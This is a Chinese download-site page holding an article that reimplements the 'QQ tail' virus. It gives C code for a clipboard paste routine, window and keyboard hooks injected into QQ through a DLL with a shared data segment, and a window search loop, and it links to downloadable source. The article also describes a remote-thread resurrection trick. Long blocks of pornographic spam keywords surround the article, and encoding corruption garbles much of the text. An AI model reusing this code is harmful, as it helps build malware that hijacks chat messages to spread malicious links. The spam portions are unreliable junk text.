亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? “qq尾巴病毒”核心技術(shù)的實(shí)現(xiàn).txt

?? QQ尾巴的原理,讓你詳細(xì)了解QQ尾巴便毒的秘密
?? TXT
字號(hào):
聲明:本文旨在探討技術(shù),請(qǐng)讀者不要使用文章中的方法進(jìn)行任何破壞。
  2003這一年里,QQ尾巴病毒可以算是風(fēng)光了一陣子。它利用IE的郵件頭漏洞在QQ上瘋狂傳播。中毒者在給別人發(fā)信息時(shí),病毒會(huì)自動(dòng)在信息文本的后邊添上一句話,話的內(nèi)容多種多樣,總之就是希望信息的接收者點(diǎn)擊這句話中的URL,成為下一個(gè)中毒者。下圖就是染毒后的QQ發(fā)送的消息,其中中毒者只打了“你好”兩個(gè)字,其它的就全是病毒的杰作了。

  下面我將要討論的,就是QQ尾巴病毒使用的這一技術(shù)。由于病毒的源代碼無法獲得,所以以下的代碼全是我主觀臆斷所得,所幸的是效果基本與病毒本身一致。 

粘貼尾巴

  首先的一個(gè)最簡單的問題是如何添加文本。這一技術(shù)毫無秘密可言,就是通過剪貼板向QQ消息的那個(gè)RichEdit“貼”上一句話而已。代碼如下:
TCHAR g_str[] = "歡迎來我的小站坐坐:http://titilima.nease.net";
// 函數(shù)功能:向文本框中粘貼尾巴
void PasteText(HWND hRich)
{
  HGLOBAL hMem;
  LPTSTR pStr;
  // 分配內(nèi)存空間
  hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));
  pStr = GlobalLock(hMem);
  lstrcpy(pStr, g_str);
  GlobalUnlock(hMem);
  OpenClipboard(NULL);
  EmptyClipboard();
  // 設(shè)置剪貼板文本
  SetClipboardData(CF_TEXT, hMem);
  CloseClipboard();
  // 釋放內(nèi)存空間
  GlobalFree(hMem);
  // 粘貼文本
  SendMessage(hRich, WM_PASTE, 0, 0);
} 

鉤子

  好了,那么下面的問題是,這段文本應(yīng)該在什么時(shí)候貼呢?網(wǎng)上有一些研究QQ尾巴實(shí)現(xiàn)的文章指出,可以用計(jì)時(shí)器來控制粘貼的時(shí)間,類似這個(gè)樣子:
void CQQTailDlg::OnTimer(UINT nIDEvent)
{
  PasteText(hRich);
}
  這的確是一種解決的手段,然而它也存在著極大的局限性——計(jì)時(shí)器的間隔如何設(shè)置?也許中毒者正在打字,尾巴文本“唰”的出現(xiàn)了……
  然而病毒本身卻不是這樣子,它能夠準(zhǔn)確地在你單擊“發(fā)送”或按下Ctrl+Enter鍵的時(shí)候?qū)⑽谋菊迟N上。2003年1月份我的一臺(tái)P2曾經(jīng)中過毒,由于系統(tǒng)速度較慢,所以可以很清楚地看見文本粘貼的時(shí)機(jī)。
  講到這里,我所陳述的這些事實(shí)一定會(huì)讓身為讀者的你說:鉤子!——對(duì),就是鉤子,下面我所說的正是用鉤子來真實(shí)地再現(xiàn)“QQ尾巴病毒”的這一技術(shù)。
  首先我對(duì)鉤子做一個(gè)簡要的介紹,已經(jīng)熟悉鉤子的朋友們可以跳過這一段。所謂Win32鉤子(hook)并不是鐵鉤船長那只人工再現(xiàn)的手臂,而是一段子程序,它可以用來監(jiān)視、檢測系統(tǒng)中的特定消息,并完成一些特定的功能。打個(gè)比方來說,你的程序是皇帝,Windows系統(tǒng)充當(dāng)各省的巡撫;至于鉤子,則可以算是皇上的一個(gè)欽差。譬如皇帝下旨在全國收稅,然后派了一個(gè)欽差找到山西巡撫說:“皇上有旨,山西除正常賦稅外,加收杏花村酒十壇。”(-_-#……)正如皇帝可以用這種方法來特殊對(duì)待特定的巡撫一樣,程序員也可以用鉤子來捕獲處理Windows系統(tǒng)中特定的消息。
  問題具體到了“QQ尾巴病毒”上邊,就是我們需要一個(gè)鉤子,在用戶單擊了“發(fā)送”按鈕之后,粘貼我們的文本。我所實(shí)現(xiàn)的這段鉤子過程為(至于如何掛接這個(gè)鉤子,我會(huì)在稍后說明):
// 鉤子過程,監(jiān)視“發(fā)送”的命令消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  CWPSTRUCT *p = (CWPSTRUCT *)lParam;
  // 捕獲“發(fā)送”按鈕
  if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
    PasteText(g_hRich);
  return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
  在此我對(duì)這個(gè)回調(diào)過程說明幾點(diǎn):
  1、lParam是一個(gè)指向CWPSTRUCT結(jié)構(gòu)的指針,這個(gè)結(jié)構(gòu)的描述如下:
typedef struct {
  LPARAM lParam;
  WPARAM wParam;
  UINT message;
  HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT;
  這時(shí)候像我一樣的SDK fans也許會(huì)會(huì)心一笑:這不是窗口回調(diào)的那四個(gè)鐵桿參數(shù)么?如你所說,的確是這樣,你甚至可以使用switch (p->message) { /* ... */ }這樣的代碼寫成的鉤子函數(shù)來全面接管QQ窗口。
  2、g_hRich是一個(gè)全局變量,它保存的是QQ消息文本框的句柄。這里之所以采用全局變量,是因?yàn)槲覠o法從鍵盤鉤子回調(diào)函數(shù)的參數(shù)中獲得這個(gè)句柄。至于如何獲得這個(gè)句柄以及這個(gè)全局變量的特殊位置,我會(huì)在稍后說明。
  3、CallNextHookEx是調(diào)用鉤子鏈中的下一個(gè)處理過程,換了欽差就會(huì)說:“十壇杏花村酒本欽差已經(jīng)替皇上收下了,現(xiàn)在請(qǐng)巡撫大人把貴省正常的賦稅交上來吧。”(-_-#……)這是書寫鉤子函數(shù)中很重要的一個(gè)環(huán)節(jié),如果少了這一句,那么可能會(huì)導(dǎo)致系統(tǒng)的鉤子鏈出現(xiàn)錯(cuò)誤,某些程序也會(huì)沒有響應(yīng)——事實(shí)上我在編寫這個(gè)仿真程序的時(shí)候QQ就當(dāng)?shù)袅藥谆亍?  4、你也許會(huì)問為什么我捕獲的是WM_COMMAND消息,這個(gè)原因讓我來用下面的SDK代碼(雖然QQ是用MFC寫的,但是用SDK代碼才能說明WM_COMMAND和“發(fā)送”按鈕的關(guān)系)來說明:
#define IDC_BTN_SENDMSG 1 // “發(fā)送”按鈕ID的宏定義
// QQ發(fā)送消息對(duì)話框回調(diào)過程·李馬偽造版
LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
  switch (Msg)
  {
  case WM_CLOSE:
    EndDialog(hDlg, 0);
    break;
  case WM_COMMAND:
    {
      switch (LOWORD(wParam))
      {
      case IDC_BTN_SENDMSG:
        // 發(fā)送消息...
        break;
      // 其它的命令按鈕處理部分...
    }
  }
  break;
  // 其它的case部分...
  }
  return 0;
}
  消息發(fā)送的整個(gè)過程是:當(dāng)用戶單擊了“發(fā)送”按鈕后,這個(gè)按鈕的父窗口(也就是“發(fā)送消息”的對(duì)話框)會(huì)收到一條WM_COMMAND的通知消息,其中wParam的低位字(即LOWORD(wParam))為這個(gè)按鈕的ID,然后再調(diào)用代碼中發(fā)送的部分,這個(gè)過程如下圖:

  所以,在此我捕獲WM_COMMAND消息要比捕獲其它消息或掛接鼠標(biāo)鉤子要有效得多。
  好了,現(xiàn)在這個(gè)鉤子已經(jīng)可以勝利地完成任務(wù)了。但是請(qǐng)不要忘記:有更多的用戶更偏愛于用“Ctrl+Enter”熱鍵來發(fā)送消息,所以程序中還需要掛上一個(gè)鍵盤鉤子:
// 鍵盤鉤子過程,監(jiān)視“發(fā)送”的熱鍵消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  // 捕獲熱鍵消息
  if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
    PasteText(g_hRich);
  return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
  在這里唯一要解釋的一點(diǎn)就是lParam >= 0子句。很明顯這個(gè)if判斷是在判斷熱鍵Ctrl+Enter的輸入,那么lParam >= 0又是什么呢?事實(shí)上在鍵盤鉤子的回調(diào)之中,lParam是一個(gè)很重要的參數(shù),它包含了擊鍵的重復(fù)次數(shù)、掃描碼、擴(kuò)展鍵標(biāo)志等等的信息。其中l(wèi)Param的最高位(0x80000000)則表示了當(dāng)前這個(gè)鍵是否被按下,如果這個(gè)位正在被按下,這個(gè)位就是0,反之為1。所以lParam >= 0的意思就是在WM_KEYDOWN的時(shí)候調(diào)用PasteText,也就是說,如果去掉這個(gè)條件,PasteText將會(huì)被調(diào)用兩次(連同WM_KEYUP的一次)。

掛接鉤子和查找窗口

  接下來就是如何掛接這兩個(gè)鉤子了。對(duì)于掛接鉤子,要解決的問題是:往哪里掛接鉤子,以及如何掛接?
  掛接鉤子的目標(biāo),肯定是QQ“發(fā)送信息”窗口的所屬線程。我的代碼就是將這個(gè)窗口的句柄傳入之后來進(jìn)行鉤子的掛接:
// 掛接鉤子
BOOL WINAPI SetHook(HWND hQQ)
{
  BOOL bRet = FALSE;
  if (hQQ != NULL)
  {
    DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
    // 感謝好友hottey的查找代碼,省去了我使用Spy++的麻煩
    g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
    if (g_hRich == NULL)
      return FALSE;
    // 掛接鉤子
    g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
    g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
    bRet = (g_hProc != NULL) && (g_hKey != NULL);
  }
  else
  {
    // 卸載鉤子
    bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
    g_hProc = NULL;
    g_hKey = NULL;
    g_hRich = NULL;
  }
  return bRet;
}
  到此為止,以上所有的代碼都位于一個(gè)Hook.dll的動(dòng)態(tài)鏈接庫之中,關(guān)于DLL我就不多介紹了,請(qǐng)查閱MSDN上的相關(guān)資料和本文的配套源代碼。
  DLL之中已經(jīng)做好了所有重要的工作(事實(shí)上這部分工作也只能由DLL來完成,這是由Windows虛擬內(nèi)存機(jī)制決定的),我們只需要在EXE之中調(diào)用導(dǎo)出的SetHook函數(shù)就可以了。那么,SetHook的參數(shù)如何獲得呢?請(qǐng)看以下代碼:
// 感謝好友hottey的查找代碼,省去了我使用Spy++的麻煩
HWND hSend;
g_hQQ = NULL;
SetHook(NULL);
do
{
  g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);
  hSend = FindWindowEx(g_hQQ, NULL, "Button", "發(fā)送(&S)");
} while(g_hQQ != NULL && hSend == NULL);
if (g_hQQ != NULL)
  SetHook(g_hQQ);
  這段代碼中的do-while循環(huán)就是用來查找“發(fā)送消息”的窗口的,QQ窗口的保密性越來越強(qiáng)了,窗口一層套一層,找起來十分不便,所以在此感謝好友hottey的《QQ消息炸彈隨想》一文省去了我反復(fù)使用Spy++的麻煩。我所做的,只是把他文中的Delphi代碼翻譯成了C代碼。

DLL的共享數(shù)據(jù)段

  如果你對(duì)DLL不甚了解,那么在你讀到我的配套源代碼之后,肯定會(huì)對(duì)下面這一段代碼有些疑問:
// 定義共享數(shù)據(jù)段
#pragma data_seg("shared")
HHOOK g_hProc = NULL; // 窗口過程鉤子句柄
HHOOK g_hKey = NULL; // 鍵盤鉤子句柄
HWND g_hRich = NULL; // 文本框句柄
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
  這定義了一段共享的數(shù)據(jù)段,是的,因?yàn)槲业淖⑨屢呀?jīng)寫得很清楚了,那么共享數(shù)據(jù)段起到了什么作用呢?在回答這個(gè)問題之前,我請(qǐng)你把代碼中以#開頭的預(yù)處理指令注釋掉然后重新編譯這個(gè)DLL并運(yùn)行,你會(huì)發(fā)現(xiàn)什么?
  是的,添加尾巴失敗!
  好了,我來解釋一下這個(gè)問題。我們的這個(gè)仿真程序的EXE、DLL以及QQ的主程序事實(shí)上是下面這樣一種關(guān)系:

  這個(gè)DLL需要將一個(gè)實(shí)例映射到EXE的地址空間之中以供其調(diào)用,還需要將另一個(gè)實(shí)例映射到QQ的地址空間之中來完成掛接鉤子的工作。也就是說,當(dāng)鉤子掛接完畢之后,整個(gè)系統(tǒng)的模塊中,有兩個(gè)DLL實(shí)例的存在!此DLL非彼DLL也,所以它們之間是沒有任何聯(lián)系的。拿全局變量g_hRich來說,圖中左邊的DLL通過EXE的傳入獲得了文本框的句柄,然而如果沒有共享段的話,那么右邊的DLL中,g_hRich仍然是NULL。共享段于此的意義也就體現(xiàn)出來了,就是為了保證EXE、DLL、QQ三者之間的聯(lián)系。這一點(diǎn),和C++中static的成員變量有些相似。
  在鉤子掛接成功之后,你可以通過一些有模塊查看功能的進(jìn)程管理器看一看,就會(huì)發(fā)現(xiàn)Hook.dll也位于QQ.exe的模塊之中。

最后一些要說的

  1、我是前說過,在2003年的1月份我就碰到了這種病毒,至今我還很清楚地記得那個(gè)病毒EXE只有16KB大小,所以從病毒本身存在的性質(zhì)來說,這個(gè)東西應(yīng)該是用Win32ASM來寫會(huì)更實(shí)用一些。
  2、那個(gè)病毒我曾經(jīng)是手殺的——用了一個(gè)進(jìn)程查看工具就殺掉了。但是現(xiàn)在的“QQ尾巴”增加了復(fù)活功能——在EXE被殺掉后,DLL會(huì)將其喚醒。我曾經(jīng)用我的進(jìn)程查看工具分析過,發(fā)現(xiàn)系統(tǒng)中幾乎所有的進(jìn)程都被病毒的DLL掛住了。這一技術(shù)是利用CreateRemoteThread在所有的進(jìn)程上各插入了一個(gè)額外的復(fù)活線程,真可謂是一石二鳥——保證EXE永遠(yuǎn)運(yùn)行,同時(shí)這個(gè)正在使用中的DLL是無法被刪除的。這一技術(shù)我也已經(jīng)實(shí)現(xiàn)了,但是穩(wěn)定性方面遠(yuǎn)不及病毒本身做得優(yōu)秀,故在此也就不將其寫出了,有興趣的朋友可以參考Jeffrey Richter《Windows核心編程》的相關(guān)章節(jié)。
  3、走筆至此想起了侯捷老師《STL源碼剖析》中的一句話——“源碼之前,了無秘密。”如果你看完本文之后也有這樣的感覺,那么我將感到不勝榮幸。
點(diǎn)擊下載源程序

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲最新视频在线观看| 日韩女优av电影| 国产呦精品一区二区三区网站| 亚洲啪啪综合av一区二区三区| www亚洲一区| 精品理论电影在线观看| 91精品国产色综合久久| 91麻豆精品国产91久久久| 欧美日韩亚洲综合在线| 欧美三级视频在线播放| 91久久人澡人人添人人爽欧美| 成人免费高清在线| 成人av免费在线播放| 成人av在线网| 在线观看精品一区| 欧美精品电影在线播放| 日韩午夜在线观看视频| 欧美va日韩va| 国产三级精品三级在线专区| 国产日韩欧美一区二区三区乱码| 国产偷国产偷精品高清尤物| 国产精品免费久久久久| 亚洲激情第一区| 日韩制服丝袜av| 激情综合亚洲精品| 成人免费高清在线| 欧美专区亚洲专区| 欧美一级黄色片| 欧美国产在线观看| 亚洲精品va在线观看| 日韩avvvv在线播放| 国产综合久久久久久鬼色| 成人综合日日夜夜| 欧美亚男人的天堂| 欧美成人欧美edvon| 日本一区二区成人| 亚洲国产精品一区二区www在线| 日韩成人午夜精品| 国产二区国产一区在线观看| 99re这里都是精品| 欧美一卡2卡3卡4卡| 日本一区二区在线不卡| 亚洲丰满少妇videoshd| 国产经典欧美精品| 在线观看日韩精品| 国产日韩欧美不卡| 偷拍日韩校园综合在线| 高清shemale亚洲人妖| 欧美三级三级三级| 中文字幕亚洲区| 久久激情综合网| 在线视频你懂得一区二区三区| 精品伦理精品一区| 亚洲一区二区影院| 国产成人丝袜美腿| 91精品婷婷国产综合久久竹菊| 国产精品久久综合| 久久电影网电视剧免费观看| 91福利资源站| 国产精品欧美经典| 黄色小说综合网站| 欧美高清视频不卡网| 亚洲欧洲性图库| 国产馆精品极品| 精品乱码亚洲一区二区不卡| 亚洲成人免费av| 色综合久久99| 中文字幕一区二区日韩精品绯色 | 国产中文字幕精品| 欧美特级限制片免费在线观看| 国产精品私人影院| 国产老妇另类xxxxx| 日韩一卡二卡三卡| 日韩高清在线不卡| 欧美日韩国产大片| 夜色激情一区二区| 色88888久久久久久影院按摩 | 色综合久久久久综合99| 中文一区一区三区高中清不卡| 国产乱子伦一区二区三区国色天香| 91精品国产欧美一区二区18| 一区二区三区蜜桃| 91成人在线精品| 亚洲图片欧美色图| 精品视频1区2区3区| 亚洲成人在线免费| 欧美精品三级在线观看| 一区二区三区精品| 欧美日韩午夜在线视频| 亚洲bdsm女犯bdsm网站| 欧美日韩国产综合一区二区| 婷婷中文字幕综合| 欧美一区二区视频免费观看| 美女脱光内衣内裤视频久久网站| 91精品在线观看入口| 狠狠色丁香久久婷婷综合_中| 91精品国产一区二区三区香蕉 | 久久久久久97三级| 国产成人精品免费网站| **欧美大码日韩| 欧美性欧美巨大黑白大战| 一区二区三区四区国产精品| 欧美日韩极品在线观看一区| 久久精品噜噜噜成人88aⅴ | 粉嫩aⅴ一区二区三区四区 | 精品一区二区在线看| 久久久久久免费网| 99精品国产99久久久久久白柏| 亚洲一二三四区| 91精品国产手机| 99视频一区二区| 日韩国产欧美三级| 久久蜜桃av一区精品变态类天堂| 北条麻妃国产九九精品视频| 亚洲午夜视频在线| 国产视频在线观看一区二区三区 | 91视频在线观看免费| 午夜精品视频在线观看| 久久精品一区蜜桃臀影院| 色欧美片视频在线观看| 国产又粗又猛又爽又黄91精品| 亚洲另类春色校园小说| 精品播放一区二区| 欧美午夜精品免费| 不卡一区二区三区四区| 免费日韩伦理电影| 亚洲欧洲99久久| 欧美哺乳videos| 色猫猫国产区一区二在线视频| 亚洲一区二区三区中文字幕| 国产色婷婷亚洲99精品小说| 色婷婷综合视频在线观看| 日本成人中文字幕| 亚洲视频在线一区观看| 欧美蜜桃一区二区三区| 亚洲综合视频在线| 97久久精品人人爽人人爽蜜臀| 亚洲gay无套男同| 国产精品第四页| 欧美一区二区免费观在线| av不卡免费电影| 中文字幕中文字幕在线一区 | 日本不卡免费在线视频| 国产日本亚洲高清| 欧美挠脚心视频网站| 国产乱子轮精品视频| 日韩专区欧美专区| 亚洲视频资源在线| 精品国产一区二区三区四区四 | 国产精品国产三级国产专播品爱网| 在线视频亚洲一区| 不卡视频在线观看| 九一九一国产精品| 亚洲成人动漫精品| 1000精品久久久久久久久| 精品国产免费一区二区三区香蕉 | 亚洲丝袜精品丝袜在线| 欧美成人a在线| 91精品在线麻豆| 欧美性猛片xxxx免费看久爱| 91视频91自| 成人听书哪个软件好| 精品系列免费在线观看| 亚洲理论在线观看| 亚洲一区在线观看视频| 亚洲色图视频网站| 中文在线一区二区| 国产亚洲欧美日韩在线一区| 国产精品无人区| 久久久国产精华| 久久综合九色综合97婷婷女人 | 亚洲欧美日韩久久| 欧美国产日韩精品免费观看| 精品欧美久久久| 国产精品理论片| 中文字幕一区免费在线观看| 日本一区二区三区免费乱视频| 精品福利二区三区| 精品国产乱码久久久久久蜜臀| 91麻豆精品国产91久久久使用方法 | 日韩精品一卡二卡三卡四卡无卡| 亚洲综合色在线| 亚洲伊人色欲综合网| 五月婷婷激情综合网| 日韩av不卡在线观看| 狂野欧美性猛交blacked| 成人午夜av电影| 日本高清不卡视频| 欧美日韩一级二级| 777久久久精品| 国产精品久久看| 一区二区在线观看视频| 亚洲va欧美va人人爽午夜| 日韩精品午夜视频| 不卡视频一二三四| 欧美日韩一区二区在线观看| 3d动漫精品啪啪| 国产亚洲一区二区三区在线观看| 国产精品国产成人国产三级| 亚洲激情自拍视频|